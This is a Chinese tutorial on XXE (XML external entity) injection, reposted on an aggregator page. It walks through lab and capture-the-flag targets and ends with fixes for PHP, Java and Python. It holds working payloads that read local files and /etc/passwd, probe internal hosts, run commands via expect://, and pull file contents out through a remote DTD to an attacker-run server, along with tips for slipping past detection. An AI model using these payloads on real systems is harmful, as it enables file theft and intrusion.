39 WEB漏洞-XXEXML之利用检测绕过全解

目录

    • 涉及案例
      • pikachu靶场xml数据传输测试-回显、玩法、协议、引入
      • 玩法-读文件
      • 玩法-内网探针或攻击内网应用(触发漏洞地址)
      • 玩法-RCE
      • 引入外部实体dtd
      • 无回显-读取文件
      • 协议-读文件（绕过）
      • xxe-lab靶场登陆框xml数据传输测试-检测发现
      • CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
      • xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
      • CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战
      • xxe漏洞修复与防御方案-php，java，python-过滤及禁用

文章分享：https://www.cnblogs.com/zhengna/p/15740341.html
在这里插入图片描述
XML被设计为传输和存储数据，XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection，即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。危害有点类似于ssrf漏洞的危害

XML与HTML的主要差异
XML 被设计为传输和存储数据，其焦点是数据的内容。
HTML 被设计用来显示数据，其焦点是数据的外观。
HTML 旨在显示信息，而 XML 旨在传输信息。

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

#DTD
文档类型定义(DTD)可定义合法的XML文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD可被成行地声明于 XML 文档中，也可作为一个外部引用
(1)内部的 DOCTYPE声明

(2)外部文档声明

#DTD实体
(1)内部实体声明

<!ENTITY 实体名称 "实体的值">

(2)外部实体声明

<!ENTITY 实体名称 SYSTEM "URI">

(3)参数实体声明

<!ENTITY %实体名称 "实体的值"> <!ENTITY %实体名称 SYSTEM "URI">

涉及案例

pikachu靶场xml数据传输测试-回显、玩法、协议、引入

在这里插入图片描述

玩法-读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

玩法-内网探针或攻击内网应用(触发漏洞地址)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo {
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt"
>
]>
<x>&rabbit;</x>

玩法-RCE

该CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

实战情况下，这种情况很难碰到，不能去执行命令

引入外部实体dtd

<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

对方允许外部实体，那么它就可以去调用远程的实体去执行相关的攻击代码，这种类似于，我们在讲文件包含的时候，本地包含，远程包含的一个概念，这种引用外部实体dtd文件，其实就类似于远程包含漏洞的原理
自定义的攻击代码，为了绕过一些远程防御的代码，因为对方有检测有防御软件的话，他会去跟踪用户行为，发现你正在对这个文件进行读取，他会拦截，或者在代码中分析到有关键的协议名，或者是观念的东西，可能会有拦截，这种时候就把你的核心代码放在上面，这个payload远程去请求并执行核心代码
应用场景在于绕过和进行自定义攻击，要攻击的时候，改dtd文件就可以了

无回显-读取文件

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY %dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>test.dtd:
<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

没有回显，我们就不知道你读的内容，那这个攻击就没有什么意义了
file变量读取指定内容，读到之后会复制给file，执行dtd里面的代码

协议-读文件（绕过）

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

网上有很多字典关于xxe攻击的payload

xxe-lab靶场登陆框xml数据传输测试-检测发现

1.提交的数据包含XML格式如:
admin
2.请求头中如:

Content-Type: text/xml或Content-type:application/xml<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password><
/user>

xxe扫描工具网上也有，但是效果我没有尝试

主要是通过爬行的数据包，用BP抓包，并且在bp上面有爬行数据包的功能，我们可以让bp帮我们爬取整个网站，把地址请求都爬一遍，爬完之后，可以在每个数据包里面进行批量搜索，搜索Content-Type值的判断，如果在这个数值里面，发现有text/xml或者application/xml，表示后面接上的数据，都是xml的格式语言的数据传递，这个时候是符合xml语言的接收，这个时候就能够进行尝试漏洞
根据传输数据的格式，这个格式的写法就是典型的xml语言代码的写法
盲猜，没有并不代表接收，他可能在代码当中是正常显示，只是说这个数据包没有正常显示，这个时候你就能够去尝试更改类型，更改为text/xml或着application/xml其中的一种，再把攻击语句写到数据那里，实现对它测试有没有xxe漏洞，这就是根据人工方法去测试有没有漏洞，是否存在的常规操作
在这里插入图片描述
对网站进行爬取
在这里插入图片描述
这种写法就是典型的xml写法，他是符合测试xxe漏洞存在的，这个时候，我们对它进行攻击，直接把payload复制上去就可以了
找到符合漏洞存在的数据包，我们在提交数据这里，提交自身的payload进行攻击
在这里插入图片描述
他这种提交数据给到上面之后，他的数据传输形式采用的是json的形式提交的，这种就是盲猜了，猜你有没有，我们直接修改Content-Type类型，因为数据包你不修改这个类型的话，传输数据的时候，这个写法就不识别了

CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/
更改请求数据格式：application/xml

<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

把数据格式换成payload的格式，之前讲的方法是先判断他符不符合xml的格式，符合，我们在确定他有没有这个漏洞，所以这两个概念是不一样的
更改数据包来实现xxe漏洞的盲猜

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

XXEinjector使用方法：https://www.cnblogs.com/bmjoker/p/9614990.html
XXEinjector检测工具：https://github.com/enjoiz/XXEinjector
https://www.cnblogs.com/bmjokex/p/9614990.html
xxe_payload_fuzz
从发现目标地址到目标的资产收集，对目标的资产信息进行攻击，找到对应的漏洞来实现一步步的操作

CTF-Vulnhub-XXE安全真题复现-检测,利用,拓展,实战

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base32 64解套->php运行->flag

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT Y ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

靶机综合难度来说还是有一些的，他不会像发现漏洞、利用漏洞就完了，他中间会给你绕一下

xxe漏洞修复与防御方案-php，java，python-过滤及禁用

#方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from Ixml import etreexmlData =etree.parse(xmlsource,etree,XMLParser(resolve _entities=False))

#方案2-过滤用户提的XML数据
过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC

XXE漏洞产生的根本原因就是网站有接收xml数据，xml其实就是语言，网站有接收xml的数据，但是它没有进行过滤，所以我们可以让他接收xml的一些代码，这个代码就是执行文件读取这个操作的，他其实从我们讲的注入里面，json注入，反序列化，都是一种数据的格式问题

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/113400.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

3dmax中导出模型到unity注意事项

3dmax中导出模型到unity注意事项

从3dmax中导出 1. 注意单位&#xff0c;根据需要&#xff0c;选英寸还是选厘米 2. 不能导出有错误的骨骼&#xff0c;否则导入后模型网格里出现 Skinned Mesh Renderer &#xff0c;对网格变换移动有影响&#xff0c;正常情况下都应该是 Mesh Renderer 3. 导出一般不带光源和…
阅读更多...
使用VGG框架实现从二分类到多分类

使用VGG框架实现从二分类到多分类

一.数据集的准备 与之前的不同&#xff0c;这一次我们不使用开源数据集&#xff0c;而是自己来制作数据集。重点需要解决的问题是对数据进行预处理&#xff0c;如每一个图片的大小均不同&#xff0c;需要进行resize&#xff0c;还需要对每一张图片打标签等操作。 数据集文件 …
阅读更多...
【C++代码】二叉搜索树的最近公共祖先，二叉搜索树中的插入操作，删除二叉搜索树中的节点--代码随想录

【C++代码】二叉搜索树的最近公共祖先，二叉搜索树中的插入操作，删除二叉搜索树中的节点--代码随想录

题目&#xff1a;二叉搜索树的最近公共祖先 给定一个二叉搜索树, 找到该树中两个指定节点的最近公共祖先。最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个结点 p、q&#xff0c;最近公共祖先表示为一个结点 x&#xff0c;满足 x 是 p、q 的祖先且 x 的深度尽可能大&a…
阅读更多...
YOLOv8改进实战 | 更换主干网络Backbone（三）之轻量化模型ShuffleNetV2

YOLOv8改进实战 | 更换主干网络Backbone（三）之轻量化模型ShuffleNetV2

前言 轻量化网络设计是一种针对移动设备等资源受限环境的深度学习模型设计方法。下面是一些常见的轻量化网络设计方法： 网络剪枝：移除神经网络中冗余的连接和参数，以达到模型压缩和加速的目的。分组卷积：将卷积操作分解为若干个较小的卷积操作，并将它们分别作用于输入的不…
阅读更多...
中文编程开发语言编程实际案例：程序控制灯电路以及桌球台球室用这个程序计时计费

中文编程开发语言编程实际案例：程序控制灯电路以及桌球台球室用这个程序计时计费

中文编程开发语言编程实际案例&#xff1a;程序控制灯电路以及桌球台球室用这个程序计时计费 上图为&#xff1a;程序控制的硬件设备电路图 上图为&#xff1a;程序控制灯的开关软件截图&#xff0c;适用范围比如&#xff1a;台球厅桌球室的计时计费管理&#xff0c;计时的时候…
阅读更多...
谈谈单例设计模式的源码应用和安全问题

谈谈单例设计模式的源码应用和安全问题

一、源码应用 事实上&#xff0c;我们在JDK或者其他的通用框架中很少能看到标准的单例设计模式&#xff0c;这也就意味着他确实很经典&#xff0c;但严格的单例设计确实有它的问题和局限性&#xff0c;我们先看看在源码中的一些案例 1、jdk中的单例 jdk中有一个类的实现是一…
阅读更多...
基因表达分析聚类分析

基因表达分析聚类分析

基因表达分析聚类&分析 1. Introduction to gene expression analysis Technology: microarrays vs. RNAseq. Resulting data matricesSupervised (Clustering) vs. unsupervised (classification) learning 微阵列技术&#xff1a; 制备DNA探针阵列并进行互补性杂交。 …
阅读更多...
【深度学习-第4篇】使用MATLAB快速实现CNN多变量回归预测

【深度学习-第4篇】使用MATLAB快速实现CNN多变量回归预测

上一篇我们讲了使用CNN进行分类的MATLAB代码。 这一篇我们讲CNN的多变量回归预测。 是的&#xff0c;同样是傻瓜式的快速实现。 一、什么是多变量回归预测 多变量回归预测则是指同时考虑多个输入特征进行回归预测。举几个例子&#xff1a; 房价预测&#xff1a;给定一组房…
阅读更多...
索引背后的数据结构——B+树

索引背后的数据结构——B+树

为什么要使用B树&#xff1f; 可以进行数据查询的数据结构有二叉搜索树、哈希表等。对于前者来说&#xff0c;树的高度越高&#xff0c;进行查询比较的时候访问磁盘的次数就越多。而后者只有在数据等于key值的时候才能进行查询&#xff0c;不能进行模糊匹配。所以出现了B树来解…
阅读更多...
【Excel】WPS单元格快速转换表格字母大小写

【Excel】WPS单元格快速转换表格字母大小写

使用WPS Office打开表格&#xff0c;选择需要处理的单元格或单元格区域。 依次点击「会员专享」选项卡 —>「智能工具箱」。 再点击「格式」—>「大小写」&#xff0c;选择一种大小写转换方式即可。
阅读更多...
ESP32网络开发实例-连接信号最强的热点

ESP32网络开发实例-连接信号最强的热点

连接信号最强的热点 文章目录 连接信号最强的热点1、软件准备2、硬件准备3、代码实现在本文中，将向您展示如何使用 ESP32 WiFiMulti 库。 这使我们能够使用多个网络，ESP32 可以连接到列表中可用的最强 WiFi 网络。 每当它失去连接时，它都会重新连接到列表中下一个最强的网络…
阅读更多...
SpringBoot项目创建失败或无法启动，启动报错时的常见问题及解决方案

SpringBoot项目创建失败或无法启动，启动报错时的常见问题及解决方案

1、无法启动&#xff0c;没有启动的三角按钮 原因&#xff1a;idea没有将其识别为一个maven项目 解决方案&#xff1a;告诉idea&#xff0c;这是一个maven项目 1.1、如果右侧有Maven项目&#xff0c;刷新一下 1.2、左侧项目鼠标右键&#xff0c;添加Maven框架支持 若没有选择m…
阅读更多...
FGSM快速梯度符号法非定向攻击代码（PyTorch）

FGSM快速梯度符号法非定向攻击代码（PyTorch）

数据集&#xff1a;手写字体识别MNIST 模型&#xff1a;LeNet import torch.nn as nn import torch.nn.functional as F import torch from torchvision import datasets, transforms import matplotlib.pyplot as plt use_cuda True device torch.device("cuda"…
阅读更多...
密码登录虽安全，但有时很麻烦！如何禁用或删除Windows 11中的密码登录

密码登录虽安全，但有时很麻烦！如何禁用或删除Windows 11中的密码登录

如果你想在Windows 11上自动登录，在本指南中，我们将向你展示如何删除你的帐户密码。 在Windows 11上，你可以至少通过三种方式从帐户中删除登录密码。在你的帐户上使用密码有助于保护你的计算机和文件免受来自internet或本地的未经授权的访问。然而，在某些情况下，密码可能…
阅读更多...
【【萌新的FPGA学习之快速回顾 水 水 】】

【【萌新的FPGA学习之快速回顾 水 水 】】

萌新的FPGA学习之快速回顾 水 水 上一条FPGA的更新在9 25 并且2个礼拜没写 verilog 了 正好 刷新一下记忆 FPGA CPU DSP 的对比 在数字电路发展多年以来&#xff0c;出现了 CPU、DSP 和 FPGA 三种经典器件&#xff0c;每个都是具有划时代意义的器件。CPU、DSP 和 FPGA 都有各…
阅读更多...
SQL INSERT INTO 语句（在表中插入）

SQL INSERT INTO 语句（在表中插入）

SQL INSERT INTO 语句 INSERT INTO 语句用于向表中插入新的数据行。 SQL INSERT INTO 语法 INSERT INTO 语句可以用两种形式编写。 　第一个表单没有指定要插入数据的列的名称&#xff0c;只提供要插入的值&#xff0c;即可添加一行新的数据&#xff1a; INSERT INTO table_n…
阅读更多...
【Bug】8086汇编学习

【Bug】8086汇编学习

文章目录 随笔Bug1、masm编译报错&#xff1a;Illegal use of register2、debug中使用段前缀3、[idata]在编译器中的处理4、push立即数报错5、报错&#xff1a;improper operand type6、程序莫名跳转到未知位置 (doing)7、DOSBox失去响应8、程序运行显示乱码9、程序运行导致DOS…
阅读更多...
Redis 命令—— 超详细操作演示！！！

Redis 命令—— 超详细操作演示！！！

内存数据库 Redis7 三、Redis 命令3.1 Redis 基本命令3.2 Key 操作命令3.3 String 型 Value 操作命令3.4 Hash 型 Value 操作命令3.5 List 型 Value 操作命令3.6 Set 型 Value 操作命令3.7 有序Set 型 Value 操作命令3.8 benchmark 测试工具3.9 简单动态字符串SDS3.10 集合的底…
阅读更多...
Layui 主窗口调用 iframe 弹出框模块，获取控件的相应值

Layui 主窗口调用 iframe 弹出框模块，获取控件的相应值

var iframeWindow window[layui-layer-iframe index]; iframeWindow.layui.tree............(这里就可以操作tree里面的内容了)。var chrild layero.find(iframe).contents(); chrild.layui.tree (这样是调用不到的)。var child layer.getChildFrame(); child.layui.tree(这…
阅读更多...
IOS(刘海/留海/流海)屏幕判断

IOS(刘海/留海/流海)屏幕判断

IPhone 8 没刘海屏幕 示例代码: // // ViewController.m // IOS_SAFEAREA_TEST // // Created by Hacker X on 2023/10/14. //#import "ViewController.h"interface ViewController ()endimplementation ViewController- (void)viewDidLoad {[super viewDidLoad]…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023